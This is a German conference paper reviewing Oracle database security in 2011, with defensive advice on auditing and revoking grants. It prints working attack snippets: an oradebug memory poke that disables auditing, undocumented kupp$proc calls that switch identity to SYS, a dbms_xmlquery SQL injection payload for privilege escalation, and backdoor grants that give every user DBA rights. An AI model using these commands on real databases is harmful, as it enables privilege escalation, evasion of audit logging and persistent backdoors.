Best of Oracle Security 2011

Alexander Kornbrust
Red-Database-Security GmbH
Neunkirchen

Schlüsselworte:

Oracle Critical Patch Update, CPU, PSU, SQL Injection, oradebug, Identitätswechsel, Hintertüren

Einleitung

In Jahr 2011 war das Thema selbst in der Nicht-IT-Fachpresse fast täglich in den Schlagzeilen. Neben Sony, Rewe, Gema, Kernel.org, RSA, DigiNotar, wurde viele große und kleine Firmen Opfer von Angriffen. Viele dieser Firmen verwendeten Oracle Datenbanken im Backend, in denen die Daten gespeichert wurden. Einige Kunden mussten schmerzhaft erfahren, dass transparente Verschlüsselung (TDE) eher vor dem Auditor als vor Hackern schützt als die Daten im Internet auftauchten.

Die folgende Präsentation lässt das Jahr 2011 Revue passieren und stellt die News aus der Oracle Security Szene vor. Weiterhin werden Demonstrationen von Exploits, neue Tools, ... vorgestellt.

Oracle Security Patches

Auch in diesem Jahr veröffentlichte Oracle wieder 4 neue Sicherheitspatches (CPU). Dabei ist ganz klar der Trend zu sehen, dass Oracle die Sicherheit der Datenbank immer besser im Griff. So wurden bis Juli 2011 nur 27 Sicherheitslücken korrigiert. Die simplen Fehler gehören mehr oder weniger der Vergangenheit an.

Exploits

Dieses Jahr wurde bisher nur ein Exploit (`mdsys.reset_inprog_index`) veröffentlicht, da sich Exploits mehr und mehr als „Währung“ in der Security-Welt eignen. Das macht es zu mindestens dem Gelegenheitshacker (Google → Copy/Paste → DBA) schwerer, da Exploits nun wesentlich schwerer zu finden sind (wenn man eine aktuelle Oracle Version verwendet).

Allgemeines

Auch in 2011 kommen die interessantesten Angriffe von Laszlo Toth. Er zeigte auf der Security Konferenz „Hacktivity 2011“ in Budapest, wie man mit Hilfe des undokumentierten Befehls oradebug aus Angreifersicht interessante Dinge machen kann. Dies betrifft alle Versionen von Oracle (bis einschließlich 11.2.0.2)

So kann man beispielsweise mit einem Befehl das (SYS und non-SYS) Auditing deaktivieren. Dadurch erhalten dann natürlich Produkte wie Oracle Audit Vault keine Daten mehr.

```
-------
SQL> oradebug setmypid
Statement processed.

SQL> select 1 from dual;

         1
----------
         1

Jul 19 13:08:05 linuxbox Oracle Audit[9928]: LENGTH : '171' ACTION
:[18] 'select 1 from dual' DATABASE USER:[1] '/' PRIVILEGE :[6]
'SYSDBA' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1'
STATUS:[1] '0' DBID:[10] '1230122245'

SQL> oradebug poke 0x60031bb0 1 0
BEFORE: [060031BB0, 060031BB4) = 00000001
AFTER:  [060031BB0, 060031BB4) = 00000000
-------
```

Weiterhin ist es möglich, die Oracle Authentifizierung durch Modifikation des Hauptspeichers komplett zu deaktivieren. Als Ergebnis kann man sich mit einem speziellen Client mit einem beliebigen Passwort anmelden, da Oracle nun jedes Passwort als korrekt akzeptiert. Dadurch kann man Produkte wie Oracle Database Vault umgehen.

Weiterhin wurden in 2011 verschiedene Möglichkeiten bekannt, Benutzer in Oracle ohne Eingabe eine Passworte zu ändern.

So ist es beispielsweise möglich, die Identität mit Hilfe des folgenden Kommandos (10.2.0.4/11.1.0.6) zu wechseln. Das Kommando (wird von Oracle Datapump verwendet) ist nicht dokumentiert, ist aber im Internet ausreichend beschrieben.

```
-------
exec sys.kupp$proc.change_user('SYS');
-------
```

Mit neueren Versionen von Oracle (z.b. 11.2.0.2) funktioniert obiges Kommando jedoch nicht mehr („ORA-31625: Schema SYSTEM is needed to import this object, but is unaccessible“). Der Verdacht, dass Oracle das Problem richtig korrigiert hat, bewahrheitet sich jedoch nicht. Volker Solinus fand in einem DOAG Expertenseminar heraus, dass man einfach vorher ein Select Statement ausführen muss, damit es auch in neuen Oracle-Versionen funktioniert.

```
-------
select sys.kupp$proc.disable_multiprocess from dual;
exec sys.kupp$proc.change_user('SYS');
```

Oracle selbst sieht das jedoch nicht als Sicherheitsproblem, auch wen ein Benutzer lediglich EXECUTE_CATALOG_ROLE Rechte dazu benötigt.

„We have reproduced the test case you provided and we get the same results.
However, the EXECUTE_CATALOG_ROLE role and BECOME USER privilege should only be granted to trusted users as explained in the Database 11g Release 2 (11.2) Security Guide, which you can view here:
http://download.oracle.com/docs/cd/E11882_01/network.112/e16543/toc.htm

In Chapter 4 in the section "Managing System Privileges", after a list including EXECUTE_CATALOG_ROLE is this warning:

"Caution: You should grant these roles and the SELECT ANY DICTIONARY system privilege with extreme care, because the integrity of your system can be compromised by their misuse."

In Chapter 10 in the section "Guidelines for Securing User Accounts and Privileges" is this warning:

"c. Restrict the CREATE ANY JOB, BECOME USER, EXP_FULL_DATABASE, and IMP_FULL_DATABASE privileges.

"These are powerful security-related privileges. Only grant these privileges to users who need them."

We do not consider this a problem because this role and privilege should only ever be granted to users who are trusted to correctly use SYS-level responsibilities, and this is documented in the Security Guide. However, we are very grateful to you for bringing this to our attention so we could investigate.“.

Es muss nochmals betont werden, dass es in Oracle vielerlei Möglichkeiten (dbms_sys_sql, dbms_ijob, kupp_proc_lib, become user, any procedure, kupp$proc, ...) gibt, die Identität zu wechseln. Ein eventuell verwendetes Auditing, sollte diese Identitätswechsel berücksichtigen und auditieren.

Auf der Defcon 2011 in Las Vegas wurde von David Litchfield eine neue Möglichkeit vorgestellt, mit der man SQL Injection Lücken ausnutzen kann. Die Funktion new_context des Packages dbms_xmlquery ist standardmäßig an Public gegranted und erlaubt es, PL/SQL Blöcke in Funktionen (z.B. via SQL Injection) aufzurufen. Dies kann zur Privilegien-Eskalation verwendet werden.

```
select user from dual where 1=1 and (select
dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
```

```
begin execute immediate '' begin
SYS.LT.CREATEWORKSPACE('''A10''''''''                                    and
test5.pwn2()=''''''''x''');SYS.LT.REMOVEWORKSPACE('''A10''''''''
and test5.pwn2()=''''''''x''');end;''; commit; end;') from dual) is
not null
----------
```

Existierende Baselines sollten entsprechend erweitert werden und dbms_xmlquery sollte von Public entzogen werden.

Auch im Bereich „Hintertüren in Oracle Datenbanken“ gab es einige Neuigkeiten. So reicht es oftmals aus, ein unverdächtiges „grant execute on SYS.LTADM to public;“ oder „grant execute on SYS.DBMS_STREAMS_RPC to public;“ auszuführen.

Danach kann jeder Benutzer DBA Statements ausführen.

```
--------
EXEC SYS.LTADM.EXECSQL('GRANT DBA TO PUBLIC');
EXEC SYS.DBMS_STREAMS_RPC.EXECUTE_STMT('GRANT DBA TO PUBLIC');
----------
```

Kontaktadresse:

Red-Database-Security GmbH
Alexander Kornbrust
Bliesstr. 16
D-66538 Neunkirchen

Telefon: +49(0)6821 - 95 17 637
Fax: +49(0)6821 - 91 27 354
E-Mail ak@red-database-security.com
Internet: http://www.red-database-security.com